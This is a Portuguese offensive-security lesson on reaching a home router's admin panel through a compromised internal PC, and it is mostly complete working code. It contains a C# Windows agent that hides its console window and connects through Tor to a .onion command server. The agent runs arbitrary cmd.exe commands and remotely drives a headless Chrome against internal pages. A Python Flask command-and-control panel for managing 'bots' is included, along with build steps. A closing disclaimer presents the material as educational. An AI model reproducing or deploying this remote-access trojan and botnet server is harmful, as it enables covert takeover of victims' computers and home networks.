Aula 138 | "Andar" até o roteador

Nesta aula, aprofundamos o funcionamento e a importância dos roteadores dentro de uma rede doméstica moderna. O roteador é o elo entre a rede local e a internet, atuando como gateway principal, responsável por rotear pacotes entre dispositivos internos e redes externas. Além disso, ele gerencia os IPs locais, geralmente através do protocolo DHCP, e oferece proteção básica por meio de firewall ou mecanismos de segurança similares. É o centro lógico da comunicação de rede em um ambiente doméstico ou pequeno escritório.

Apesar da sua função estratégica, o roteador muitas vezes é negligenciado do ponto de vista da segurança. Muitos ainda operam com configurações padrão, interfaces administrativas abertas e credenciais fracas ou inexistentes. Isso representa uma vulnerabilidade crítica. Qualquer dispositivo comprometido dentro da rede pode se tornar um ponto de partida para interações com o roteador, abrindo espaço para ataques direcionados ao próprio equipamento que deveria proteger os demais dispositivos.  A estrutura da aula abordou o roteador como um ativo sensível, mas amplamente acessível, principalmente em redes que utilizam equipamentos genéricos ou de baixo custo.

Do ponto de vista de segurança ofensiva, foram exploradas técnicas que viabilizam o acesso ao painel administrativo do roteador de forma remota, mesmo quando ele está protegido por uma camada NAT ou firewall. Esse tipo de acesso não ocorre diretamente de fora da rede, mas sim a partir de um dispositivo interno que serve como intermediário. Isso permite a visualização, controle e manipulação da interface de administração como se o operador estivesse localmente conectado.

Tais abordagens são sofisticadas e exigem uma compreensão profunda da arquitetura de rede, do comportamento dos dispositivos envolvidos e das formas de contornar restrições de visibilidade entre redes. Ao permitir que um operador externo interaja com a interface do roteador por meio de um canal seguro e encapsulado, abre-se a possibilidade de realizar ajustes finos na rede, modificar configurações críticas e até estabelecer persistência na estrutura, tornando difícil a detecção e o bloqueio. A ação de alcançar o roteador através de um dispositivo comprometido não se caracteriza como movimentação lateral tradicional, uma vez que o roteador ocupa um papel hierárquico superior na rede, sendo o gateway e não apenas outro host. 

Mesmo sem recorrer a vulnerabilidades específicas ou exploits avançados, é possível realizar ações altamente eficazes explorando apenas configurações padrão, falhas de projeto e o desconhecimento técnico comum em ambientes domésticos. O roteador, sendo um componente central, precisa ser tratado com a mesma atenção e rigor que se aplicaria a qualquer sistema crítico, pois dele depende a integridade e segurança de toda a rede local.

Agente C#

.NET:

https://dotnet.microsoft.com/en-us/download

Código:

mkdir AgentTor
cd AgentTor
dotnet new winforms -n AgentTor
cd AgentTor

Código AgentTor.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>WinExe</OutputType>
    <TargetFramework>net9.0-windows</TargetFramework>
    <UseWindowsForms>true</UseWindowsForms>
    <RuntimeIdentifier>win-x64</RuntimeIdentifier>
    <PublishSingleFile>true</PublishSingleFile>
    <SelfContained>true</SelfContained>
    <ImplicitUsings>enable</ImplicitUsings>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="PuppeteerSharp" Version="20.2.0" />
  </ItemGroup>
</Project>

Código Program.cs:

using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using PuppeteerSharp;
using PuppeteerSharp.Input;

public class Agente
{
    private const string EnderecoProxyTor = "127.0.0.1";
    private const int PortaProxyTor = 9050;
    private const string HostOnion = "abcnetcat1.onion";
    private const int PortaOnion = 4444;
    private const int AtrasoReconexao = 15000;

    private static volatile bool estaNavegando = false;
    private static CancellationTokenSource tokenSessaoNavegador;
    private static IPage pagina;
    private static IBrowser navegador;

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    private const int SW_OCULTAR = 0;

    public void ExecutarCiclo()
    {
        ShowWindow(GetConsoleWindow(), SW_OCULTAR);

        while (true)
        {
            try
            {
                using (var cliente = new TcpClient())
                {
                    cliente.Connect(EnderecoProxyTor, PortaProxyTor);
                    using (var stream = cliente.GetStream())
                    {
                        RealizarHandshakeSocks(stream, HostOnion, PortaOnion);
                        ProcessarFluxoDeDados(stream);
                    }
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Erro de conexão: {ex.Message}");
            }
            finally
            {
                if (estaNavegando) tokenSessaoNavegador?.Cancel();
            }
            Thread.Sleep(AtrasoReconexao);
        }
    }

    private void LerBytesExatos(NetworkStream stream, byte[] buffer, int bytesParaLer)
    {
        int totalBytesLidos = 0;
        while (totalBytesLidos < bytesParaLer)
        {
            int bytesLidos = stream.Read(buffer, totalBytesLidos, bytesParaLer - totalBytesLidos);
            if (bytesLidos == 0) throw new EndOfStreamException("Stream fechado.");
            totalBytesLidos += bytesLidos;
        }
    }

    private void RealizarHandshakeSocks(NetworkStream stream, string host, int porta)
    {
        stream.Write(new byte[] { 0x05, 0x01, 0x00 }, 0, 3);
        var respostaAuth = new byte[2];
        LerBytesExatos(stream, respostaAuth, 2);
        if (respostaAuth[1] != 0x00) throw new Exception("Falha na autenticação SOCKS.");

        var hostBytes = Encoding.ASCII.GetBytes(host);
        byte[] requisicao = new byte[7 + hostBytes.Length];
        requisicao[0] = 0x05; requisicao[1] = 0x01; requisicao[2] = 0x00; requisicao[3] = 0x03;
        requisicao[4] = (byte)hostBytes.Length;
        Buffer.BlockCopy(hostBytes, 0, requisicao, 5, hostBytes.Length);
        requisicao[requisicao.Length - 2] = (byte)(porta >> 8);
        requisicao[requisicao.Length - 1] = (byte)(porta & 0xFF);
        stream.Write(requisicao, 0, requisicao.Length);

        var respostaConexao = new byte[10];
        LerBytesExatos(stream, respostaConexao, 10);
        if (respostaConexao[1] != 0x00) throw new Exception($"Falha na conexão SOCKS: código {respostaConexao[1]}");
    }

    private void ProcessarFluxoDeDados(NetworkStream stream)
    {
        while (true)
        {
            try
            {
                var cabecalhoBuffer = new byte[5];
                LerBytesExatos(stream, cabecalhoBuffer, 5);
                
                byte tipoMensagem = cabecalhoBuffer[0];
                int tamanhoMensagem = BitConverter.ToInt32(cabecalhoBuffer, 1);

                var dadosBuffer = new byte[tamanhoMensagem];
                LerBytesExatos(stream, dadosBuffer, tamanhoMensagem);
                
                string comando = Encoding.UTF8.GetString(dadosBuffer);

                if (comando.StartsWith("netcattest:", StringComparison.OrdinalIgnoreCase))
                {
                    var url = comando.Substring("netcattest:".Length).Trim();
                    if (!estaNavegando)
                    {
                        estaNavegando = true;
                        tokenSessaoNavegador = new CancellationTokenSource();
                        Task.Run(() => IniciarSessaoNavegador(url, stream, tokenSessaoNavegador.Token));
                    }
                }
                else if (estaNavegando)
                {
                    ProcessarComandoInteracao(comando);
                }
                else
                {
                    ExecutarComandoShell(comando, stream);
                }
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Erro no loop de comunicação: {ex.Message}");
                break;
            }
        }
    }
    
    private async void ProcessarComandoInteracao(string comando)
    {
        if (pagina == null || !estaNavegando) return;
        
        try
        {
            if (comando.Equals("fecharpagina", StringComparison.OrdinalIgnoreCase))
            {
                tokenSessaoNavegador?.Cancel();
            }
            else if (comando.StartsWith("CLICK:", StringComparison.OrdinalIgnoreCase))
            {
                var partes = comando.Substring(6).Split(',');
                if (partes.Length == 2 && int.TryParse(partes[0], out int x) && int.TryParse(partes[1], out int y))
                    await pagina.Mouse.ClickAsync(x, y);
            }
            else if (comando.StartsWith("TYPE:", StringComparison.OrdinalIgnoreCase))
            {
                await pagina.Keyboard.TypeAsync(comando.Substring(5), new TypeOptions { Delay = 10 });
            }
            else if (comando.StartsWith("KEY_PRESS:", StringComparison.OrdinalIgnoreCase))
            {
                await pagina.Keyboard.PressAsync(comando.Substring(10));
            }
            else if (comando.StartsWith("SCROLL:", StringComparison.OrdinalIgnoreCase))
            {
                if (int.TryParse(comando.Substring(7), out int delta))
                    await pagina.EvaluateExpressionAsync($"window.scrollBy(0, {delta})");
            }
        }
        catch (Exception ex)
        {
            Debug.WriteLine($"Erro ao processar interação: {ex.Message}");
        }
    }

    private async Task EnviarMensagem(NetworkStream stream, byte tipo, byte[] dados)
    {
        try
        {
            if (stream == null || !stream.CanWrite) return;
            byte[] tamanho = BitConverter.GetBytes(dados.Length);
            var mensagemCompleta = new byte[1 + 4 + dados.Length];
            mensagemCompleta[0] = tipo;
            Buffer.BlockCopy(tamanho, 0, mensagemCompleta, 1, 4);
            Buffer.BlockCopy(dados, 0, mensagemCompleta, 5, dados.Length);
            await stream.WriteAsync(mensagemCompleta, 0, mensagemCompleta.Length);
        }
        catch (Exception ex)
        {
             Debug.WriteLine($"Erro ao enviar mensagem: {ex.Message}");
        }
    }

    private string EncontrarExecutavelChrome()
    {
        string[] caminhos = {
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "Google\\Chrome\\Application\\chrome.exe"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), "Google\\Chrome\\Application\\chrome.exe"),
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\Application\\chrome.exe")
        };
        foreach (var caminho in caminhos)
        {
            if (File.Exists(caminho)) return caminho;
        }
        return null;
    }

    private async Task IniciarSessaoNavegador(string url, NetworkStream stream, CancellationToken token)
    {
        try
        {
            string caminhoChrome = EncontrarExecutavelChrome();
            if (string.IsNullOrEmpty(caminhoChrome))
            {
                await EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes("[!] Google Chrome não foi encontrado."));
                estaNavegando = false;
                return;
            }

            await EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes($"[+] Usando Chrome: {caminhoChrome}"));
            
            navegador = await Puppeteer.LaunchAsync(new LaunchOptions
            {
                Headless = true, ExecutablePath = caminhoChrome, Args = new[] { "--no-sandbox", "--disable-gpu" }
            });

            pagina = await navegador.NewPageAsync();
            await pagina.SetViewportAsync(new ViewPortOptions { Width = 1280, Height = 720 });
            
            await EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes($"[+] Navegando para: {url}"));
            await pagina.GoToAsync(url, new NavigationOptions { WaitUntil = new[] { WaitUntilNavigation.Networkidle2 } });

            await TransmitirTela(stream, token);
        }
        catch (Exception ex)
        {
            await EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes($"[!] Erro na sessão: {ex.Message}"));
        }
        finally
        {
            if (navegador != null) await navegador.CloseAsync();
            
            estaNavegando = false;
            pagina = null;
            await EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes("[+] Sessão de navegação encerrada."));
        }
    }

    private async Task TransmitirTela(NetworkStream stream, CancellationToken token)
    {
        while (!token.IsCancellationRequested)
        {
            try
            {
                var dadosScreenshot = await pagina.ScreenshotDataAsync(new ScreenshotOptions { Type = ScreenshotType.Jpeg, Quality = 80 });
                await EnviarMensagem(stream, 0x02, dadosScreenshot);
                await Task.Delay(100, token);
            }
            catch (Exception) { break; }
        }
    }

    private void ExecutarComandoShell(string comando, NetworkStream stream)
    {
        string saidaComando = "";
        try
        {
            var infoProcesso = new ProcessStartInfo("cmd.exe", "/c " + comando)
            {
                RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false, CreateNoWindow = true
            };
            using (var processo = Process.Start(infoProcesso))
            {
                saidaComando = processo.StandardOutput.ReadToEnd() + processo.StandardError.ReadToEnd();
                processo.WaitForExit(10000);
            }
        }
        catch (Exception e)
        {
            saidaComando = "Erro ao executar o comando: " + e.Message;
        }
        EnviarMensagem(stream, 0x01, Encoding.UTF8.GetBytes(saidaComando.Trim())).Wait();
    }
    
    public static void Main(string[] args)
    {
        new Agente().ExecutarCiclo();
    }
}

Código Build:

dotnet publish -c Release -r win-x64 --self-contained true -p:PublishSingleFile=true

C2 Python

import socket
import threading
import time
import os
import sys
import signal
import base64
import logging
import struct
from flask import Flask, render_template_string, request
from flask_socketio import SocketIO

PORTA_C2 = 4444
PORTA_WEB = 5001
bots_conectados = []
lock = threading.Lock()
executando = True

app = Flask(_name_)
app.config['SECRET_KEY'] = 'segredo!'
socketio = SocketIO(app, async_mode='threading')

log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

TEMPLATE_HTML = """
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <title>NETCAT TEST V2 - Painel de Controle</title>
    <style>
        body, html { font-family: 'Courier New', Courier, monospace; margin: 0; padding: 0; height: 100%; background-color: #1a1a1a; color: #e0e0e0; display: flex; flex-direction: column; }
        .header { background-color: #0d0d0d; padding: 10px; text-align: center; border-bottom: 2px solid #ff4500; display: flex; justify-content: space-between; align-items: center; }
        .header h1 { margin: 0; }
        .header #current-time { font-size: 1em; color: #00ff7f; }
        .main-container { display: flex; flex: 1; overflow: hidden; }
        .sidebar { width: 300px; background-color: #2a2a2a; padding: 10px; border-right: 1px solid #444; overflow-y: auto; display: flex; flex-direction: column; }
        .bot-list h3 { margin-top: 0; }
        .bot-item { padding: 8px; margin-bottom: 5px; background-color: #3a3a3a; border-radius: 4px; cursor: pointer; border-left: 4px solid #555; display: flex; justify-content: space-between; align-items: center; }
        .bot-item.active { border-left: 4px solid #ff4500; background-color: #4a4a4a; }
        .bot-info { display: flex; flex-direction: column; }
        .bot-name { font-weight: bold; }
        .bot-uptime { font-size: 0.8em; color: #aaa; }
        .content { flex: 1; display: flex; flex-direction: column; padding: 10px; }
        .stream-container { flex: 1; background-color: #000; margin-bottom: 10px; position: relative; overflow: hidden; }
        #stream { width: 100%; height: 100%; object-fit: contain; }
        .click-effect { position: absolute; border: 2px solid rgba(255, 69, 0, 0.8); border-radius: 50%; transform: translate(-50%, -50%); animation: ripple 0.5s linear; pointer-events: none; }
        @keyframes ripple { to { width: 100px; height: 100px; opacity: 0; } }
        .terminal-container { height: 250px; background-color: #0d0d0d; display: flex; flex-direction: column; border: 1px solid #444; }
        #terminal-output { flex: 1; padding: 10px; overflow-y: auto; white-space: pre-wrap; }
        .terminal-input { display: flex; }
        .terminal-input span { padding: 8px; background-color: #2a2a2a; }
        #command-input { flex: 1; background-color: #1a1a1a; border: none; color: #e0e0e0; padding: 8px; font-family: inherit; }
        #command-input:focus { outline: none; }
        .modal { display: none; position: fixed; z-index: 100; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.6); }
        .modal-content { background-color: #2a2a2a; margin: 15% auto; padding: 20px; border: 1px solid #888; width: 80%; max-width: 400px; border-radius: 5px; text-align: center; }
        .modal-content h4 { margin-top: 0; }
        .close-btn { color: #aaa; float: right; font-size: 28px; font-weight: bold; cursor: pointer; }
        .action-input { width: calc(100% - 16px); background-color: #1a1a1a; border: 1px solid #444; color: #e0e0e0; padding: 8px; margin-bottom: 10px; }
        .action-btn { width: 100%; padding: 8px; margin-bottom: 5px; border: none; color: #fff; cursor: pointer; }
        .btn-start { background-color: #28a745; }
        .btn-stop { background-color: #dc3545; }
    </style>
</head>
<body>
    <div class="header"><h1>NETCAT TEST V2</h1><span id="current-time"></span></div>
    <div class="main-container">
        <div class="sidebar">
            <h3>Bots Conectados (Tor)</h3>
            <div id="bot-list"></div>
        </div>
        <div class="content">
            <div class="stream-container" id="stream-parent"><img id="stream" src="" alt="Stream da navegação aparecerá aqui."/></div>
            <div class="terminal-container">
                <div id="terminal-output"></div>
                <div class="terminal-input"><span id="prompt">$</span><input type="text" id="command-input" placeholder="Digite um comando..."></div>
            </div>
        </div>
    </div>

    <div id="actions-modal" class="modal">
        <div class="modal-content">
            <span class="close-btn">&times;</span>
            <h4>Ações de Navegação</h4>
            <input type="text" id="url-input" class="action-input" placeholder="http://192.168.0.1">
            <button id="start-nav-btn" class="action-btn btn-start">Iniciar Navegação</button>
            <button id="stop-nav-btn" class="action-btn btn-stop">Parar Navegação</button>
        </div>
    </div>

    <script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
    <script>
        const socket = io();
        let activeBotId = null;

        const botListEl = document.getElementById('bot-list');
        const streamImg = document.getElementById('stream');
        const streamParent = document.getElementById('stream-parent');
        const terminalOutput = document.getElementById('terminal-output');
        const commandInput = document.getElementById('command-input');
        const promptEl = document.getElementById('prompt');
        const timeEl = document.getElementById('current-time');
        const actionsModal = document.getElementById('actions-modal');
        const urlInput = document.getElementById('url-input');
        const closeModalBtn = document.querySelector('.close-btn');

        function renderBotList(bots) {
            botListEl.innerHTML = '';
            bots.forEach(bot => {
                const botEl = document.createElement('div');
                botEl.className = 'bot-item';
                if (bot.id === activeBotId) botEl.classList.add('active');
                const statusText = bot.ativo ? Online há: ${bot.uptime} : Offline há: ${bot.uptime};
                botEl.innerHTML = <div class="bot-info"><span class="bot-name">${bot.id}: ${bot.nome}</span><span class="bot-uptime">${statusText}</span></div><span>${bot.ativo ? 'V' : 'F'}</span>;
                botEl.onclick = () => selectBot(bot.id, bot.ativo);
                botListEl.appendChild(botEl);
            });
        }

        function logToTerminal(message, type = 'info') {
            const line = document.createElement('div');
            line.textContent = message;
            if (type === 'cmd') line.style.color = '#ff4500';
            if (type === 'response') line.style.color = '#00ff7f';
            terminalOutput.appendChild(line);
            terminalOutput.scrollTop = terminalOutput.scrollHeight;
        }

        function selectBot(botId, isAtivo) {
            activeBotId = botId;
            promptEl.textContent = Bot[${botId}]$;
            if (isAtivo) {
                actionsModal.style.display = 'block';
            }
            logToTerminal(Sessão com bot ${botId} iniciada., 'info');
            socket.emit('request_bot_list');
        }

        closeModalBtn.onclick = () => { actionsModal.style.display = 'none'; };
        window.onclick = (event) => { if (event.target == actionsModal) { actionsModal.style.display = "none"; } };

        socket.on('connect', () => { logToTerminal('Conectado ao painel de controle.', 'info'); socket.emit('request_bot_list'); });
        socket.on('time_update', (data) => { timeEl.textContent = data.time; });
        socket.on('bot_list_update', (bots) => { renderBotList(bots); });
        socket.on('bot_response', (data) => { if (data.bot_id === activeBotId) logToTerminal(data.response, 'response'); });

        const preloader = new Image();
        preloader.onload = () => { streamImg.src = preloader.src; };
        socket.on('frame_imagem', (data) => { if (data.bot_id === activeBotId) preloader.src = 'data:image/jpeg;base64,' + data.imagem; });

        function sendCommand(command) {
            if (activeBotId === null) { logToTerminal('Nenhum bot selecionado.', 'error'); return; }
            logToTerminal(> ${command}, 'cmd');
            socket.emit('send_command', { bot_id: activeBotId, command: command });
        }
        
        commandInput.addEventListener('keydown', (e) => {
            if (e.key === 'Enter' && commandInput.value.trim() !== '') {
                sendCommand(commandInput.value.trim());
                commandInput.value = '';
            }
        });

        document.getElementById('start-nav-btn').onclick = () => { if (urlInput.value) sendCommand(netcattest:${urlInput.value}); actionsModal.style.display = 'none'; };
        document.getElementById('stop-nav-btn').onclick = () => { sendCommand('fecharpagina'); actionsModal.style.display = 'none'; };

        function showClickEffect(x, y) {
            const effect = document.createElement('div');
            effect.className = 'click-effect';
            effect.style.left = ${x}px; effect.style.top = ${y}px;
            streamParent.appendChild(effect);
            setTimeout(() => effect.remove(), 500);
        }

        const teclasEspeciais = new Set(['Enter','Backspace','Tab','Escape','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown']);
        streamImg.addEventListener('click', (e) => {
            if (activeBotId === null) return;
            const rect = e.target.getBoundingClientRect();
            showClickEffect(e.clientX - rect.left, e.clientY - rect.top);
            const scaleX = e.target.naturalWidth / rect.width;
            const scaleY = e.target.naturalHeight / rect.height;
            const x = Math.round((e.clientX - rect.left) * scaleX);
            const y = Math.round((e.clientY - rect.top) * scaleY);
            socket.emit('interaction', { bot_id: activeBotId, type: 'CLICK', x: x, y: y });
        });
        window.addEventListener('wheel', (e) => {
            if (activeBotId === null) return;
            e.preventDefault();
            socket.emit('interaction', { bot_id: activeBotId, type: 'SCROLL', delta: Math.round(e.deltaY) });
        }, { passive: false });
        window.addEventListener('keydown', (e) => {
            if (activeBotId === null || document.activeElement === commandInput) return;
            e.preventDefault();
            if (teclasEspeciais.has(e.key)) { socket.emit('interaction', { bot_id: activeBotId, type: 'KEY_PRESS', key: e.key }); }
            else if (e.key.length === 1) { socket.emit('interaction', { bot_id: activeBotId, type: 'TYPE', key: e.key }); }
        });
    </script>
</body>
</html>
"""

def enviar_comando_para_bot(bot_socket, tipo, dados_str):
    dados_bytes = dados_str.encode('utf-8')
    tamanho = len(dados_bytes)
    cabecalho = struct.pack('<BI', tipo, tamanho)
    try:
        bot_socket.sendall(cabecalho + dados_bytes)
    except Exception as e:
        print(f"[!] Erro ao enviar comando para o bot: {e}")

def ler_bytes_exatos(sock, num_bytes):
    dados = b''
    while len(dados) < num_bytes:
        pacote = sock.recv(num_bytes - len(dados))
        if not pacote: return None
        dados += pacote
    return dados

def notificar_clientes_web():
    with lock:
        lista_bots_serializavel = []
        for bot in bots_conectados:
            if bot["ativo"]:
                tempo_decorrido = int(time.time() - bot["inicio_conexao"])
                prefixo = "Online há"
            else:
                tempo_decorrido = int(time.time() - bot.get("tempo_offline", bot["inicio_conexao"]))
                prefixo = "Offline há"
            
            minutos, seg = divmod(tempo_decorrido, 60)
            horas, minutos = divmod(minutos, 60)
            uptime_str = f"{horas:02d}h{minutos:02d}m{seg:02d}s"
            
            lista_bots_serializavel.append({
                "id": bot["id"], "nome": bot["nome"], "ativo": bot["ativo"], "uptime": uptime_str
            })
    socketio.emit('bot_list_update', lista_bots_serializavel)

def background_updater():
    while executando:
        socketio.sleep(1)
        notificar_clientes_web()
        socketio.emit('time_update', {'time': time.strftime("%H:%M:%S")})

def tratar_bot(bot_socket, endereco, bot_id):
    info_bot = bots_conectados[bot_id]
    nome_bot = info_bot["nome"]
    print(f"\n[+] Conexão recebida de {nome_bot}")
    notificar_clientes_web()
    
    try:
        while executando and info_bot["ativo"]:
            cabecalho = ler_bytes_exatos(bot_socket, 5)
            if not cabecalho: break
            
            tipo, tamanho = struct.unpack('<BI', cabecalho)
            dados = ler_bytes_exatos(bot_socket, tamanho)
            if not dados: break

            if tipo == 0x01:
                socketio.emit('bot_response', {'bot_id': bot_id, 'response': dados.decode('utf-8', errors='ignore')})
            elif tipo == 0x02:
                imagem_base64 = base64.b64encode(dados).decode('utf-8')
                socketio.emit('frame_imagem', {'bot_id': bot_id, 'imagem': imagem_base64})
    finally:
        with lock:
            info_bot["ativo"] = False
            info_bot["tempo_offline"] = time.time()
        print(f"\n[-] Bot desconectado: {nome_bot}")
        notificar_clientes_web()

def iniciar_servidor_c2():
    servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    servidor.bind(("0.0.0.0", PORTA_C2))
    servidor.listen(100)
    print(f"[*] Servidor C2 escutando na porta {PORTA_C2}")
    while executando:
        try:
            bot_socket, endereco = servidor.accept()
            with lock:
                bot_id = len(bots_conectados)
                info_bot = {"id": bot_id, "nome": f"Bot_{endereco[0]}:{endereco[1]}", "socket": bot_socket, "endereco": endereco, "ativo": True, "inicio_conexao": time.time()}
                bots_conectados.append(info_bot)
            threading.Thread(target=tratar_bot, args=(bot_socket, endereco, bot_id), daemon=True).start()
        except OSError: break
        except Exception as e:
            if executando: print(f"[!] Erro ao aceitar conexão: {e}")
    servidor.close()

@app.route('/')
def index():
    return render_template_string(TEMPLATE_HTML)

@socketio.on('request_bot_list')
def handle_request_bot_list():
    notificar_clientes_web()

@socketio.on('send_command')
def handle_send_command(data):
    bot_id = int(data['bot_id'])
    command = data['command']
    info_bot = None
    with lock:
        if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]
    
    if info_bot and info_bot["ativo"]:
        enviar_comando_para_bot(info_bot["socket"], 0x01, command)

@socketio.on('interaction')
def tratar_interacao(dados):
    bot_id = int(dados['bot_id'])
    info_bot = None
    with lock:
        if 0 <= bot_id < len(bots_conectados): info_bot = bots_conectados[bot_id]

    if info_bot and info_bot["ativo"]:
        tipo_interacao = dados['type']
        cmd_str = ""
        if tipo_interacao == 'CLICK': cmd_str = f"CLICK:{dados['x']},{dados['y']}"
        elif tipo_interacao == 'SCROLL': cmd_str = f"SCROLL:{dados['delta']}"
        elif tipo_interacao == 'TYPE': cmd_str = f"TYPE:{dados['key']}"
        elif tipo_interacao == 'KEY_PRESS': cmd_str = f"KEY_PRESS:{dados['key']}"
        
        if cmd_str:
            enviar_comando_para_bot(info_bot["socket"], 0x01, cmd_str)

def sair_graciosamente(sig, frame):
    global executando
    print("\n[!] Finalizando...")
    executando = False
    os._exit(0)

if _name_ == "_main_":
    signal.signal(signal.SIGINT, sair_graciosamente)
    
    threading.Thread(target=iniciar_servidor_c2, daemon=True).start()
    socketio.start_background_task(target=background_updater)
    
    print(f"[*] Interface de Controle Web em http://127.0.0.1:{PORTA_WEB}")
    socketio.run(app, host='127.0.0.1', port=PORTA_WEB)

Dependências:

pip install flask flask_socketio

Requisitos mínimos:

  • Python 3.6 ou superior

  • Sistema com acesso a porta 4444 e 5001 (ou portas que você definir)

Explicação:

Imports (Usings):

using System;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
using PuppeteerSharp;
using PuppeteerSharp.Input;
  • System, IO, Net.Sockets, Text: fornecem funções básicas para entrada/saída, rede (TCP) e manipulação de texto.

  • Threading / Tasks: usados para trabalhar com múltiplas threads e tarefas assíncronas.

  • Diagnostics: usado para exibir mensagens de depuração.

  • Runtime.InteropServices: permite uso de funções da API do Windows para esconder a janela do console.

  • PuppeteerSharp: biblioteca C# para automação de navegadores com Chromium/Chrome (equivalente ao Puppeteer em Node.js).

Configurações principais

private const string EnderecoProxyTor = "127.0.0.1";
private const int PortaProxyTor = 9050;
private const string HostOnion = "...onion";
private const int PortaOnion = 4444;
private const int AtrasoReconexao = 15000;
  • Define o endereço local do proxy do Tor (normalmente o Tor Browser ou Tor daemon escuta em 127.0.0.1:9050).

  • Define o endereço .onion (servidor remoto oculto) e porta onde o C2 está escutando.

  • Define o tempo de espera (15s) entre tentativas de reconexão.

Variáveis de controle da sessão de navegador:

private static volatile bool estaNavegando;
private static CancellationTokenSource tokenSessaoNavegador;
private static IPage pagina;
private static IBrowser navegador;
  • Controlam a sessão de navegação com Chrome que será iniciada remotamente e manipulada pelo servidor.

API do Windows para esconder o console:

[DllImport("kernel32.dll")]
private static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
private const int SW_OCULTAR = 0;
  • Importa funções do sistema para esconder a janela do console quando o agente for executado, deixando-o invisível para o usuário.

ExecutarCiclo():

public void ExecutarCiclo()
  • Loop principal do agente.

  • Conecta ao servidor .onion através de um proxy Tor, faz handshake SOCKS5, processa comandos, e reconecta em caso de falha.

LerBytesExatos(...)

Lê dados de um NetworkStream exatamente no tamanho esperado, byte a byte.
Essencial para comunicação confiável entre cliente e servidor.

RealizarHandshakeSocks(...)

Faz o handshake manual com um proxy SOCKS5, usado pelo Tor.
Envia comandos binários diretamente para conectar ao destino .onion via stream.

ProcessarFluxoDeDados(...)

Recebe mensagens do servidor:

  • Se a mensagem começa com netcattest:, inicia uma sessão headless com navegador.

  • Se for outro comando e há uma sessão ativa, processa interações (cliques, digitação).

  • Se não houver sessão, executa o comando no shell do sistema.

ProcessarComandoInteracao(...)

Executa ações no navegador controlado:

  • Clique em coordenadas

  • Digitação de texto

  • Pressionar teclas especiais

  • Scroll na página

  • Encerrar navegação

EnviarMensagem(...)

Codifica uma mensagem com um cabeçalho binário (tipo, tamanho) e os dados.
Envia via NetworkStream. Usado para enviar prints da tela ou respostas do shell ao C2.

EncontrarExecutavelChrome()

Procura o caminho do executável do Chrome nos diretórios comuns do Windows.
Necessário para inicializar o PuppeteerSharp com o navegador correto.

IniciarSessaoNavegador(...)

  • Inicializa uma sessão headless do navegador Chrome com PuppeteerSharp.

  • Vai até a URL fornecida (netcattest:http://...) e inicia a transmissão da tela.

TransmitirTela(...)

Tira screenshots contínuos da tela do navegador e envia ao C2 como imagens JPEG codificadas.
Simula uma transmissão visual da navegação.

ExecutarComandoShell(...)

Executa comandos via cmd.exe (modo oculto) e retorna o resultado ao servidor.
Pode executar qualquer instrução no sistema do agente, como dir, tasklist, etc.

Main(...):

Ponto de entrada da aplicação. Cria uma instância do agente e inicia o loop de execução.

Aviso de ética e responsabilidade

Este conteúdo é exclusivamente educacional e foi desenvolvido com o objetivo de demonstrar conceitos técnicos aplicados à segurança da informação. As técnicas, ferramentas e exemplos apresentados têm finalidade didática e são voltados para uso em ambientes controlados, laboratórios autorizados ou testes de segurança com permissão explícita.

O autor deste material não incentiva, autoriza ou se responsabiliza por qualquer uso indevido, ilegal ou mal-intencionado das informações aqui demonstradas. A reprodução ou aplicação prática dos conteúdos fora de um contexto ético e legal pode constituir crime, de acordo com a legislação vigente.

Ao acessar ou utilizar este material, você assume total responsabilidade por suas ações e declara compreender que todo conhecimento de segurança ofensiva deve ser usado com consciência, integridade e respeito à privacidade, à propriedade e à lei.